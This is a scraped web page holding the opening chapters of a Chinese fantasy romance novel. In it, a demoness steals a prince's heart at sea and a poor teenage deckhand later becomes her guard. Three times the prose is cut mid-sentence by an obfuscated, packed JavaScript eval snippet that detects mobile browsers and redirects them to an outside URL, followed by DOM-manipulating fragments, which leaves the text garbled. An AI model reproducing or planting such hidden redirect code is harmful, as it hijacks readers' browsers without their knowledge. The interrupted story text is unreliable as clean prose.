《不招小白脸GB》 1. 海上生明月 黄昏海上,大船缓缓行驶。 昨日船工救了个溺水女子,生得花容月貌,雀王一见倾心。 试问大海茫茫,哪来绝色女子,众人疑心是水兽海魅化形,故意溺水引人搭救,借机登船。下舱房的水手、伙夫都是些糙汉子,听了奇闻想入非非,跑到甲板上偷看海魅真容。 当时火烧残云,天地橙红,那姑娘独上台阶,绰约身姿恍若仙人。 众人看得呆了。管事的张头儿挨个踹过去,骂他们癞蛤蟆想吃天鹅肉,“看什么看,是给你们看的吗?还不滚去干活。” 雀王看中的美人,自然轮不到他们这群下等人肖想,可看看又不违法。跑船的都是些年纪轻轻的小伙子,血气方刚。张头儿一骂,他们捂着屁股哄笑而散。 唯独一个叫容溪的,还算老实。其他人偷看,只他一个在下船舱当差。旁人笑话容溪毛还没长齐脑子不开窍,哪里懂得欣赏美人。 容溪今年十七岁,论理说他的年纪还跑不了船。张头儿瞧他性子谨慎踏实,破例让他出海。他出身贫苦,做事麻利。大家都很喜欢他。这孩子年纪小,老实本分,没那些花花肠子。 张头儿招招手:“容溪,你过来。” 容溪放下手头的卷好一半的粗绳,走到张头儿跟前。 张头儿吩咐道:“你烧些热水,送到上舱房。那姑娘要沐浴更衣。你送完就回来,不要看她。” 容溪道:“知道了。” 张头儿道:“记得换双鞋,别踩脏地板。” 容溪长期待在厨房,烧煤,鞋底全是煤灰。 他按照张头儿的吩咐烧好了热水,取出怀里的干净布鞋。换好后,才踏上那层金贵的地毯。穿过回廊,他提着两桶热水,走向回廊尽头的一个房间。他腾不出手敲门,懒得放下,抬脚踢了踢门。门没关,直接开了。 容溪站在门口,公事公办的态度,一点窥探的意图都没有,“送热水。” 里头传出个女声,“进来。” 容溪得了允准这才入内。浴桶摆在卧房正中间。他谨记张头儿的吩咐,把水倒进浴桶中,整个过程目不斜视。余光能看到那姑娘一袭蓝衣,坐在屏风下,侧影娴静。 这层住着一群舞姬,房间隔音效果不大好,说话声此起彼伏。 “哪来的野妖精,怎么王爷就看上她了。” “咱们这些天,跳舞跳得腿都快断了,也没见王爷召幸哪个。偏偏被她捷足先登。” “来历不明,分明是刺客。” “是啊,留她亲近王爷,定有祸端。” “……”叽叽喳喳的,义愤填膺。 女子嫉妒起来,说的话格外难听。声音这么大,摆明了要故意让人听见。 雀王风流倜傥,船上舞姬如云,常闹出些争风吃醋的乱子。下舱房津津有味咀嚼那些风流韵事,容溪有所耳闻。待到午夜时,贵人歇息了,下人们陆陆续续结束忙碌的一天。二十多个人挤在一个房间睡觉,艳羡雀王艳福不浅。 容溪窝在角落里,往耳朵里塞棉花,躲避那些吃不到葡萄说葡萄酸的话。他只是个跑腿的小伙计,跑船只为挣钱。雀王有多少舞姬有多少美人和他有什么关系呢?他唯一的念想就是赶紧靠岸拿了工钱,给爹换个宽敞点的房子住。 雀王高高在上,他们低贱如尘泥,生来就是两个世界的人。 容溪大声道:“水倒好了。” 他将最后一桶水倒进浴桶里,房间变得热气腾腾。 那女子依旧坐在屏风下,一动不动,似仕女图画上的人。 门没关,风闻刺耳。 “不过是只下贱肮脏的海魅,她也配伺候王爷。” “连给王爷提鞋都不配。” “……” 如今世道,阶级分明,妖精之间也有一条鄙视链。 天上飞的看不起地上跑的,地上跑的看不起的海里游的。海魅则是最低等的一种。她们法力低微,生性狡诈,常化作绝色女子引诱出海之人,吸食他们的灵力和血肉。 雀王是陆皇第十三位义子,身份尊贵。舞姬们皆以得到他的宠幸为荣。谁曾想这样的人竟然中了魅女的圈套,叫人扼腕长叹。 容溪从来没有见过魅,心中难免好奇。 那女子近在眼前。 张头儿说过别看她。他本不该看。可冥冥之中好像注定了。他合该在这里看见她。 容溪鬼使神差抬起了头。看一眼,又能怎么样。 魅女很美,生得一张鹅蛋脸,身段修长,气质文弱。着一袭蓝色鲛纱,头上梳飞云髻。朦胧之中,如梦似幻。不像是海里爬出来的,像是月亮里飞出来的嫦娥。素闻魅女惑人心肠,食人精魄。容溪窥她面容便震了一瞬。 难怪他们说她是魅。 容溪呆呆望着她,而她在看地上一行黑脚印。 每次折返,他都要换鞋。最后一次没留神,穿错了。容溪意识到她在看自己的脚,脸一红,无地自容,道:“我找抹布擦干净。” 姚烛倒是很和善,道:“无妨。”嗓音清润柔和。 她虽然这么说,容溪不能真的不擦。他飞快端了清水和抹布来,光着脚,跪在地上,消去那些脚印。姚烛的目光落在少年瘦削的脊梁骨上,像是闲极无聊,对这倒水的少年的有几分兴趣,她随口问道:“你多大了?” 容溪如芒在背,闷声道:“十七。” 姚烛道:“这么小就出来干活。”半妖有的能活四五百岁,十七虽然成年了,但还是家里娇生惯养的年纪。姚烛注视着他跪在地上的动作,问道:“你家里几口人?” 容溪道:“就我和我爹。” 估计是贫苦人家出身。姚烛若有所思,想到了什么。桌上摆着金银珠宝,玉石翡翠。雀王爷派人赏赐的。她端起沉甸甸的托盘,走到容溪面前,“送给你。” 珠光晃人眼,容溪下意识后退了两步。 这些钱足够买下一个县。 没等容溪拒绝,姚烛强行塞到他手里,道:“你若是不喜欢,就扔到海里去吧。” 容溪端着金银珠宝一头雾水站在门口。他家境穷苦,可父亲教导过他不能收不义之财。他送个热水,这姑娘为什么要给他一堆钱,容溪既纳闷又震惊,想了想,无功不受禄,这钱拿了会惹麻烦的。于是他离开上舱房,把那些金银珠宝原封不动上交给了张头儿。 张头儿也是一惊,连忙上报给雀王。 夜间赏月,姚烛如期而至。 雀王诧异问道:“我赐给你的东西,一样都看不上吗?” 姚烛道:“我说过,我想要的,只有一样东西。” 月上中天,海水澹澹。雀王面向大海席地而坐。姚烛随侍斟酒。细长指甲划过水面,蔻丹鲜红如酒色。雀王伸手接过酒杯,含笑道:“哦,你要什么?” 姚烛抬手抚上他胸口,“王的心。” 雀王保持举杯的动作一动不动。姚烛掏出他的心脏,雀王软倒在地,好似被人抽走了脊梁骨,胸口空空如也,喷出汩汩血流。姚烛在血泊中站了起来,顺手打翻烛台,点燃了纱帐。火苗登时舔了上来。很快舱房内便硝烟弥漫。 火焰烧穿了夹板。外头传来喊叫声,“快来人呐,着火了!” “救火啊!”人声嘈杂,脚步声忙乱。容溪推开下舱房窄小的窗户,只见火光冲天,浓烟四起。顺着火势最大的方向看去。正是雀王的房间延伸出来的露台。 姚烛独立船头,面朝大海。 雀王倒在地上。火光中,姚烛的长发在海风中狂舞,如鬼魅一般。她杀了雀王? 毫无征兆,那诡异的身影纵身跃入海中,消失得无影无踪。 …… 天亮后,姚烛被浪花冲到海滩上。 海滩上布满大小不一的礁石,长着几棵稀疏的椰子树。 她拖着沉重脚步上岸,游了一夜,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922916|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疲惫。她扶着礁石坐下来休息。 大海涛声滚滚,海水里走出一个水鬼似的少年。 少年浑身湿透,头发丝和衣角都在滴水。他踩着砂石一步一个坑,走到姚烛面前。昨晚他跟着她游了一宿。这会上岸还跟着,阴魂不散。 姚烛仰视这倔强少年,问道:“你跟着我做什么?” 容溪死死地盯着她看,像是要把她的脸看出一个洞来,道:“你杀了雀王。” 姚烛道:“那又如何。” 容溪道:“你去自首认罪。” 姚烛笑而不语。 她手段如此果决,绝不是第一次杀人。 横跨大海追了一夜,只为劝她自首。他年纪不大,晓得杀人偿命。然而是非黑白对错并不分明。容溪背靠着礁石坐下来,用力拧干自己的袖子。他睫毛上挂着水珠,顺着下巴尖滴下来,濡湿胸前衣襟。 姚烛注意到他衣裳上的补丁,“你在船上一个月挣多少钱?” 容溪不说话,拧干袖子,又拧干衣摆。 姚烛道:“够养活家里吗?” 容溪冷冷道:“不关你的事。” 姚烛打量他身上线条,分明是练家子。这么个心善又勇敢的少年,在船上当杂役未免可惜。她起了招贤之心,心思一动,道:“船毁人亡,你的差事怕是也没了。我每月给你二十两,你来给我当侍卫,如何?” 她杀掉雀王,毁尸灭迹,畏罪潜逃。事情尚未尘埃落定,竟又设法来笼络自己这个唯一的知情人,分明是心怀叵测。容溪猜她可能要杀他灭口,面上却无表情。临到嘴边挤出一句话,道:“我连你是谁都不知道。” 姚烛道:“我叫姚烛,是海云镇绿台酒馆的老板。” 她也叫姚烛,容溪心里咯噔一下。一个女商贾,难怪心机手段异乎寻常,恐怕从前杀人越货的勾当做过不少。容溪自幼长在市井,形形色色的人都见识过。他那双晶莹剔透的眼睛看向了她,问道:“你为何要杀雀王,挖走他的心?” 姚烛先是一怔,笑了一会儿。 “自然是有我的用处。” “什么用处?” “你确定你想知道。” 知道的越多死得越惨。容溪沉默下来。 他出海只为赚钱,现在船烧没了,雀王生死未卜,他找谁要钱去?还是说把这女子押送官府赚取悬赏呢?一个荒淫无道、高高在上的大人物死了,于他而言实在没有什么触动。容溪毫无同情心,同情雀王还不如同情路口的乞丐。 这件事情定然牵扯诸多。 容溪心思沉浮不定,他还有个父亲要养,不能贸然涉险。 他怎么做都很容易引火烧身。 容溪把袖子拧得皱皱巴巴,姚烛正盯着他袖口上的补丁看,他下意识蜷缩手指藏了藏。这欲盖弥彰的动作有些窘迫。姚烛留意他的小动作,话锋一转,又说回当侍卫那事,“你跟着我,可以一天换一件新衣裳。” 容溪顿时自尊心受挫,豁然起身,一口回绝:“我不会给你当侍卫的。” 姚烛道:“为什么?” 容溪盯着她的眼睛,反感溢于言表,“因为你不是好人。” 他撂下这句话,离开礁石,沿着曲折明灭的海岸线走远了。独留姚烛一人坐在原地,她自顾自咂摸着不是好人四个字,自嘲似的哼笑,无声摇头。 这年头哪有什么好人呢。 暮色渐渐降临,街上的人越来越少,酒馆门口的幌子随着夜风摆动。 至夜深,三更,冷风侵寒入骨。 门外人步伐微微踉跄。姚烛扶着门框,露出半个身形。木橙从柜台里翻出去,冲到门口,将身体虚弱的姚烛扶住了。“老板!” 姚烛走了很久的路,终于回到家中,看见丫鬟木橙熟悉的面容。 木橙长叹了一口气,担忧道:“老板,你可算回来了。” 姚烛嗯了一声,“回来了。” 2. 老板回来了 火光撕裂夜幕。 一枝穿云箭从天而降,钉入大地腹心。 伴随着巨大爆炸声,村舍坍塌,残垣断壁燃烧出熊熊火焰。浓烟直冲云霄。 姚烛脚踩乱石,往峭壁上方爬去。月光照着她烧焦的脸。她浑浊眼球中布满灰尘,血肉模糊的手指抓着荆棘草危险吊在半空中,离万丈深渊只差一步。 云端之上,仙人身影明灭。 “你可知错?” 审判的话音铺天盖地,姚烛四肢百骸被音浪撕扯,挂在风中,惨遭凌迟之刑。她手指痉挛,下意识攥紧唯一一根救命稻草。终于,她所攀附的荆棘无声断裂。啪嗒……身体陡然一轻,失去重心。狂风从后背呼啸而过。她与乱石一同坠入黑暗深渊。 “你太让我失望了。”催人心肝的魔音在耳边呢喃。 孩童坐在大火中哭泣,幼小身躯颤抖着。姚烛试着向他伸出手,哪怕被无数根铁链洞穿身体,她浑身是血,手脚并用往前爬,却被身后的铁链拖入无间地狱…… 笃笃笃—— 书房内,桌前人猛然惊醒。姚烛睁开眼睛。 木橙推门而入,为她奉上一盏热茶,“老板,您做噩梦了。” 姚烛用力掐住眉心,好一会儿,苍白面颊渐渐恢复血色。木橙打开窗户,让空气流通起来。窗外阳光热烈,微风徐徐。前楼传来客人闲谈的声音。后楼一片冷清,有个老头在扫地,酒庄的货刚刚送到,几个伙计帮忙卸了货。 酒馆生意不好,只要了些便宜的杜康和老黄酒。庄头想抬价。何掌柜领着庄头在后头喝茶,商量迟些日子交付货款的事。春光明媚,人间庸庸碌碌,没有火海,也没有审判。 姚烛望着窗外的太阳恍惚起来,“今天是初几?” 木橙道:“四月初三。” 姚烛道:“哪一年?” 木橙道:“新历二百一十年。” 二百一十年,真是个可怕的数字。自从陆明修平定九州,人族灭亡,天下成为半妖的天下,竟然已经过去二百多年。姚烛端起茶水喝了一口。水沿着喉咙落入胃部,冰凉刺骨。她打了个寒颤。关于跌入深渊的噩梦经历过太多次。除了疲惫只剩下麻木。 姚烛喝完水,再次抬眼,神情已然重归虚无。 她的情绪从梦魇中抽离,喊了声“木橙。” 木橙道:“我在呢。” 姚烛道:“陪我出去走走。” 木橙扶起她的胳膊,为她裹了一件披风。楼外,微风吹散了寒意。姚烛在木橙的陪同下漫步园中。阳光晒在身上微微刺痛,让她清醒了许多。伙计们正在将酒坛运往地窖,见到姚烛喊“老板好”,笑容洋溢,发自肺腑。 “老板回来了。”伙计们同她打招呼。 当初绿台遭遇危机,险些被债主收走,是姚烛花钱把这个烂摊子盘下来,给了大家安身立命的机会。如果没有她,所有人都得去喝西北风。可以说没有姚烛就没有今日的绿台。伙计们和掌柜对她充满感激。 何掌柜揣着账本迎面走来,老远瞧见姚烛,毕恭毕敬:“老板。” 姚烛额首示意,面上淡淡的。 “店里生意怎么样?” 何掌柜愁眉苦脸,才刚送走庄头,“您不在的这两个月,酒馆依旧是亏损状态。以这样的速度亏下去,半个月后,我们又要关门了。” 这家酒馆去年新开张以来,倒闭过两回。 每次濒临倒闭姚烛都会拿出一大笔钱来让它起死回生。酒馆上下几十号人全靠老板养着,还动不动要倒闭,显得他这个做掌柜的十分无能。何掌柜也为此感到汗颜。 姚烛道:“我来想办法。” 何掌柜擦擦冷汗,讪讪道:“诶!” 年景不好,生意难做。 姚烛心态平和,反正她们不靠酒馆赚钱,能维持开张就很好了。 姚烛的口头禅就是“我来想办法”。她从来不慌张失态,镇定自若。仿佛只要有她在,天就塌不了。什么天大的难题都能被解决。她是绿台的主心骨,大家的精神支柱。这几个月她出门办事,何掌柜焦头烂额,只盼着她回来。 到亭子里倒了茶,三人坐下,闲谈。 木橙笑着打趣何掌柜:“这两个月,老何天天烧香念佛呢。” 姚烛道:“日子过得这么艰难吗?” 何掌柜道:“我怕您出事。” 姚烛道:“我能出什么事。” 何掌柜见四下无人,鼓起勇气,悄悄道:“听说雀王的船烧了,海运也停了。” 姚烛吹去茶沫,饮了口花茶。她八风不动。木橙和何掌柜都盯着她看。他们都很清楚,姚烛开这家酒馆只是为了掩人耳目,背地里干的事情跟卖酒毫无关系。因此绿台生意平平,她也漠不关心。何掌柜从袖子里取出一张告示。告示上写着通缉刺客,悬赏十万两的信息。 雀王出事的消息,海云镇的小地方也传遍了,连酒馆的客人都在议论纷纷。 何掌柜握着告示的手微微颤抖。 木橙扫那告示一眼,嗤笑道:“老何这是什么意思。” 何掌柜张了张嘴:“我……” 木橙道:“酒馆亏损缺钱,你想去领赏?” 何掌柜闻言一惊,这事果然跟姚烛有关。他慌了刹那,很快冷静下来,将告示卷入袖中。干了那么多年掌柜,基本的素养还是有的。何掌柜摆出视死如归的架势,目光坚定,道:“老板,我生是您的人,死是您的鬼。无论您做了什么,我都站在您这边。” 姚烛顺口接道:“哪怕我杀了雀王吗?” 何掌柜打了一个哆嗦。 陆家权势滔天,普天之下,谁敢得罪陆家呢?雀王出事,恐怕整个海云镇都会被荡平。遑论小小绿台。何掌柜对姚烛的所作所为一无所知,只隐约猜到,老板在做些危险的事。却没想到她竟然敢在太岁头上动土,杀了雀王。 “您与雀王有仇?”何掌柜震惊不已。 “没仇,”姚烛道:“我不认识他。” “那您这是为民除害?”何掌柜绞尽脑汁思索着。或许雀王搜刮民脂民膏,荒淫无道,引得天怒人怨。姚烛故而出手,替天行道。 “我哪有那么无聊。”姚烛笑了。天道无常,她替天行什么道。 “那……”何掌柜有些想不明白。 “何润德。”姚烛放下茶杯,轻磕出声响。 何掌柜倒吸一口凉气。这是老板第一次叫他的全名。大热天,他起了一层白毛汗。或许今天探问老板是个错误的决定。他有可能会为自己的莽撞付出生命代价。姚烛素来平易近人,哪怕他把酒馆经营得一塌糊涂,也从未苛责。可今天他触碰到了红线。 何掌柜伏首跪了下去,浑身抖若筛糠,“我僭越了。” 姚烛道:“好好经营绿台,做你该做的事。” 何掌柜忙道:“是。” 姚烛道:“不该问的别多问。” 何掌柜脸色惨白,道:“知道了。” 姚烛给他递了个台阶,“下去吧。” 何掌柜屏住呼吸,悄悄退下。亭子里只剩下姚烛和木橙两个。 木橙自顾啃了块茶点,含糊道:“你要把老何吓死了。” 姚烛扭头注视着木橙:“我很吓人吗?” 木橙道:“有一点。” 雀王出事,引发轩然大波。现在外面传得沸沸扬扬。何掌柜心惊胆战也情有可原。姚烛此番出海,木橙和何掌柜都是知情人。木橙作为姚烛的心腹,万事以她马首是瞻,随口开了个玩笑:“需要把老何做掉灭口吗?” 姚烛道:“不至于。” 何掌柜是个好人,也是个聪明人。当初绿台涌进一堆债主,何掌柜宁愿在后楼上吊,也不愿意离开这里。绿台就是他的命。姚烛出钱买下绿台,让他继续当这个掌柜,就好比他的再生父母。何掌柜对姚烛敬戴有加,衷心耿耿。 今日之探问,怕是雀王出事的消息过于骇人听闻,把他给惊着了。 何掌柜害怕绿台面临灭顶之灾。 “你们听说了吗,雀王的船烧了。” “好端端的怎么会烧了?” “这谁知道呢。” “……”酒馆里,客人们七嘴八舌。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922917|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >雀王名叫陆玄,是陆明修第十三个义子,陆家的掌权人之一。如果当年陆明修没死,现在的九州就是陆家的天下,陆玄也许有望成为太子。 听说雀王有一宝船,高十余丈,有六七层,能容纳上千人。行驶于茫茫大海上,宛若一座活动城池。渔民偶尔窥见,还以为见到了蓬莱仙山。大船追星逐月,漂泊无踪,歌舞丝竹日夜不歇。贵人们纸醉金迷,醉生梦死。 谁能想到这船竟然被一把大火给烧了。街头巷尾,传得议论纷纷。 喝完茶,姚烛回到房间,取出一颗赤红色、拳头大小的珠子。 珠子有力搏动,蕴含强悍力量。像某种猛禽的心脏。 木橙端详珠子表面花纹,“这就是雀王的心。” 姚烛道:“是。” 老板大老远出海一趟,就是为了挖雀王的心。 木橙伸手触碰珠子,指腹接触面迅速焦化变黑,很烫。火系妖精的心脏温度非常高。 姚烛姚烛手指下翻,珠子落入冰盆中,勉强压制那股热浪。 木橙纳罕道:“你真把雀王杀了?” 姚烛道:“他没死。” 木橙一愣。什么情况,外头都说雀王死了。 “这种大妖,挖心也是死不了的。除非彻底摧毁内丹。” “你没毁他内丹?只挖了心?” “嗯。”姚烛没打算杀他,只是借雀王的心脏一用。船上高手如云,她前后计划了两个月才得手。现在雀王应该身受重伤,在陆家地堡治疗。 “你还不如把他杀了呢。”木橙很遗憾似的。 “无冤无仇,杀他做什么。” “他丢了心,不得找啊,到时候肯定会来弄死我们。” “你怕了?”姚烛不以为然。 “怕个屁,”木橙挺起了胸膛,“姑奶奶我怕过谁。” 姚烛如今的行事越来越让人摸不着头脑了。孤身赴海上刺杀雀王,全身而退,却不斩草除根,惹得满城风雨。木橙都不知道她怎么想的。这拖泥带水的做派有点不太像姚烛的风格。木橙暗自奇怪,琢磨了半天没想明白。 “那外面的告示怎么办?他们在通缉你。”木橙又问。这是个大问题。 “给我找个护卫吧。” “哪个护卫能挡千军万马?” “慢慢找,会有的。”姚烛非常平和。 木橙都疑惑了,这人被通缉了,怎么一点反应也没有。 姚烛简直冷静得像个变态。 有时候木橙也很难理解她的精神状态,好像活着也行,死了也无所谓。她只有偶尔做噩梦才会流露出一些脆弱的情绪,类似与恐惧和悲痛。 但随着噩梦次数增多,人也渐渐麻木。 “老板?”木橙喊了她一声。 姚烛拨弄着冰盆中的心,把它冻起来,裹上一层冰壳。 就像是裹芝麻汤圆那样娴熟自然。 “有了这颗心,”木橙觑着她脸色,试探问道:“我们就能进入龙骨秘境,拿到神器吗?” 上古四大神器遗落人间,她们一直在追查神器的下落。开酒馆不过掩人耳目,收集神器才是重中之重。木橙跟在姚烛身边很久了,了解比何掌柜更深。她知道姚烛的目标就是神器。姚烛摇了摇头,道:“还不行。” 木橙道:“你之前说,四大神器之一伏羲骨,就在龙骨秘境。” 姚烛道:“龙骨秘境燃烧着妖皇魂火,是片火海炼狱。” 木橙道:“那又怎么样?” “你是木系,进去必然灰飞烟灭。我是水系,也不行。” “你的意思是……” “我们必须找个火系的护法。” 难怪,姚烛一直说,要找个护卫。木橙以为就是随便说说。 原来找护卫也是进入龙骨秘境的一环。 木橙恍然大悟:“我明白了。” 姚烛已经让何掌柜开始物色人选了,道:“等护卫找到,我们才能开始下一步行动。” 木橙点点头,道:“那得尽快。” 只有集齐神器,她们才能完成任务。 3. 不招小白脸 “叫什么名字?” “容溪?” “哪两个字?” “容易的容,溪水的溪。” 好不容易才排到容溪,天都黑了。 何掌柜的抬头看了他一眼。目前这是年纪最小的报名者。“家里人同意你来做护卫吗?” 容溪面不改色点点头。 雀王出事,海运停了,他没有活干,在家坐吃山空也不是办法。父亲的月钱养活他们两个十分拮据。容溪一直在找赚钱的门路。听说绿台招护卫,一个月给二十两。他那天一口回绝姚烛,回家后看见辛苦疲劳的父亲又后悔了。父亲的工钱才一两。 挣钱又有什么寒掺的呢? 何掌柜道:“手伸出来,握住这颗球。” 桌上摆了一只透明的玻璃球。容溪伸出手,掌心覆盖在球上。球心缓缓点亮,涌现火苗,绽放成花。何掌柜点点头,在纸上的“是否火系”那一栏上打了勾。听说他们只招火系的。这大概是种测试。容溪收回了手,火苗却没有随之熄灭,而是越长越大。 转眼间,快要溢出来。 何掌柜脸色大变,“不好,要炸了。” 玻璃球砰得一声炸开。 何掌柜挥袖扫下飞溅而来的碎片,慌忙夺过登记册,桌子着了火。容溪哪里想到这东西说炸就炸,他踹翻桌子,脱下外袍扑打火苗,见墙角底下积攒着一坛雨水。泼上去,扑哧一下,火灭了。伙计们闻讯而来,面对满地狼藉瞠目结舌。 何掌柜惊疑不定地打量容溪,对这位少年的内力感到诧异。 容溪一脸茫然,何掌柜狐疑道:“你没测过自己的属性值?” 容溪道:“没有。” 何掌柜表情变得十分古怪,好像看见什么身怀巨力而不自知的怪物。 容溪捡起自己被烧破的外袍,上头粘了一块玻璃碎片,闪闪发亮。这东西肯定价值不菲。容溪忐忑不安,看向何掌柜:“这个多少钱?” 何掌柜诡异的表情持续刹那,很快恢复正常,“哦,不用赔。” 孩子还挺实在的。何掌柜命人把桌子抬走,登记册没烧坏,问题不大。他冲容溪摆摆手,“这东西有些年头了,坏了也正常。你回去吧。” 容溪道:“我可以写张欠条。” 何掌柜道:“石头而已,不值几文钱。” 反正容溪是最后一个来报名的,也不耽误什么,“回去吧。别忘了三天后的擂台比试。” 招护卫,光测试属性肯定不够,得真刀真枪切磋拳脚功夫,才能分出高低。擂台上见英雄,公平公正。方才容溪听到有人在为此事焦虑。据说只招一个人,机会渺茫。 何掌柜拍拍容溪的肩膀,他很看好这位小伙子。 “小兄弟,好好准备。老板到时候会亲自过来选人。” 如今世道艰难,武行接连倒闭,年轻人除了去码头扛大包卖力气,就是去做大户人家做侍卫。绿台开出二十两的月钱,管吃管住,并且受伤有贴补,逢年过节还分米分肉。这样的工作从未在市面上流通过,这样有良心的老板几乎绝迹了。 告示贴出,涌来上百人。何掌柜筛选出火系的,还有三十多个。 公平起见,擂台分胜负,择优录之 姚烛翻看何掌柜呈上来的名录,一目十行扫到底。容溪,十七,狐族,火系。 起了风,手中纸张乘风而起,飘向窗外。 容溪正在园子里徘徊。 木橙见此人行迹可疑,盯着他,“擂台在那边,你怎么到这来了?” 容溪抛下一句解释匆匆离去,“我迷路了。” 木橙捡起地上飘落的纸张上楼,见姚烛正在看向窗外,“你掉的东西?” 姚烛接过夹在书里,“风吹下去的。” 她的目光落在那少年的背影上,拉得很长。他果然来了。 “这小子迷路迷到老板的院子里。想走后门啊。”木橙留意姚烛的眼神不同寻常,吹了声口哨,啧道,“这就看上了?” “何掌柜说,他测试的时候,把球测炸了。” “测炸了是什么意思?” “他的属性值超过了测试界限。” “我从没见过谁能把球测炸,”木橙匪夷所思,“球坏了吧。” 姚烛思考了一会儿,关上窗户。满桌乱翻纸张重归平静,“让他回去吧。” 木橙没听明白她的意思,“人家不是还没上场呢嘛。” 姚烛道:“告诉何掌柜,我们不招小白脸。” 木橙道:“……”认真的吗。 今日是绿台酒馆招护卫打擂台的大日子。试炼场上激战震撼。大家都使出了看家本领。伙计们呐喊助阵,人声鼎沸。何掌柜在台下人群中穿梭,寻找容溪的身影。他那身黑衣分外扎眼,大热天的,壮汉们脱了上衣赤膊上阵,大汗淋漓。 只有他把自己包得严严实实,像个黑无常。 何掌柜喊道:“容溪。” 容溪听到自己的名字,回过头来。他生得一双漂亮狐狸眼。眼皮薄而白,睫毛纤长浓密。见何掌柜迎面走来,他以为自己该上场了,拔腿就往擂台走。 这小子还是个急性子,何掌柜连忙喊住他:“你等等……” 容溪这才停住脚步。 何掌柜道:“你不用上场了。去领点路费,回家吧。” 容溪突闻噩耗:“为什么?” 何掌柜尴尬不已,上回叮嘱人家好好准备,结果人家连上场的机会都被剥夺了。何掌柜觉得这话有点难以启齿,“我们老板说,不招小白脸。” 容溪没想到自己会被这个离谱的理由否定。他杵在那没有挪动脚步,有点震惊,明明是姚烛想拉拢他当护卫,他好不容易下定决心,结果她居然不要他了。 就因为他说她不是好人吗? 太过分了,她怎么这么小肚鸡肠。 “你们告示上没有写。” 容溪不甘心,义愤填膺,“如果我能打赢他们所有人呢?” 容溪体格精悍,个头很高,看得出来是个练家子。但比较瘦,不是暴力型的。而且面皮看着过分白净,跟在老板后头不像侍卫,倒像是被包养的小倌。册子上登记他才十七岁,确实年纪太小了。何掌柜忖度片刻,也有些不忍心。 何掌柜拍拍他肩膀,道:“小兄弟,你还年轻,别逞强。” 何掌柜让容溪走,他不肯走。 容溪犯了倔,非得上台单挑所有人。结果十几个人都打不过他。赤膊壮汉们鼻青脸肿,都挂了彩。容溪还是那身黑衣。他历经激战,气息平稳,一滴汗也没出。可见内修功夫了得。何掌柜见阵仗不对,赶紧请来店里的镇山太岁,来杀一杀这小子的锐气。 木橙踱着步子走进试炼场,打量容溪,“你小子挺嚣张啊。” 木橙一身利落短打,束高马尾,英姿飒爽。她身为老板身边的大丫鬟,武功高强,打遍无敌手,自有几分傲气。伙计们听说木橙姐出马,沸腾了起来,围着擂台大声叫阵。 容溪注视着这位不速之客。 木橙道:“你要是能打得过我,就让你留下来。” 容溪道:“说话算数?” 木橙嘿嘿一笑,道:“骗你是狗。” 容溪摆出手,做接招状,道:“来吧。” 擂台上二人剑拔弩张,摆开阵仗,吸引了全场目光。 木橙扬起下巴道:“让你先出招。” 容溪道:“得罪了。” 他身形快似疾风,握掌为拳,朝木橙面门攻去。木橙偏头避开,肘击他肩关节,却被他用四两拨千斤的寸劲轻巧推开。容溪反扣木橙小臂,横扫其下盘,木橙一跃而起,从他头顶正上方翻过,衣摆在半空中划出一个完整的扇形。此后便全是残影。 “是我瞎了吗,怎么这么模糊。”台上哪还有木橙和容溪的身形。 “他们人呢?”众人愕然。 “不要眨眼,别盯着看,用余光。” 大家斜着眼睛,用余光去瞟。这才发现原来他们还在台上,只是身形极快,一个眨眼的功夫便过了几十个回合。只能看到虚影。 隐隐似有破风之声,拳脚相接,竟如同兵刃碰撞铿鸣。锐利声音划过人鼓膜,激得心脏剧烈跳动,热血澎湃,仿佛激战就在耳边。远古战场,千军万马高举利器,汹涌杀意如潮水般用来。刹那光芒大盛,橙蓝两色光芒交撞,气流吹得众人衣裳头发乱飞。 伙计们手中的瓜子全部跳了起来。满院乱石颤动,草树倒伏。狂风散去,木橙和容溪的身影再度出现。他们的左右位置换了,谁也不像是受伤败北的模样。 大家茫然地望着这一幕。 “结束了吗?” “谁输了?” “他不会赢了吧。” 台下的疑惑声音此起彼伏。没人看明白怎么回事。 争议声中,木橙面无表情开口道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922918|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你可以留下来了。” 她一锤定音,跳下擂台,转身离开试炼场。 场下霎时炸开锅,伙计们集体傻眼:“他打赢了木橙姐……” 容溪捡起角落里自己的随身包袱。他还是没出汗,神色如常。走下擂台台阶,忽然抬眼。众人被他瘆人的气势惊得往后退。他的目光穿过虚空,隔着人山人海,与远处楼上的姚烛对视了一眼。那眼神意味深长,透出几分不属于少年人的霜光冷厉。 姚烛心脏微微抽动。 奇怪,他们明明相识不久,却似大梦经年久别重逢。 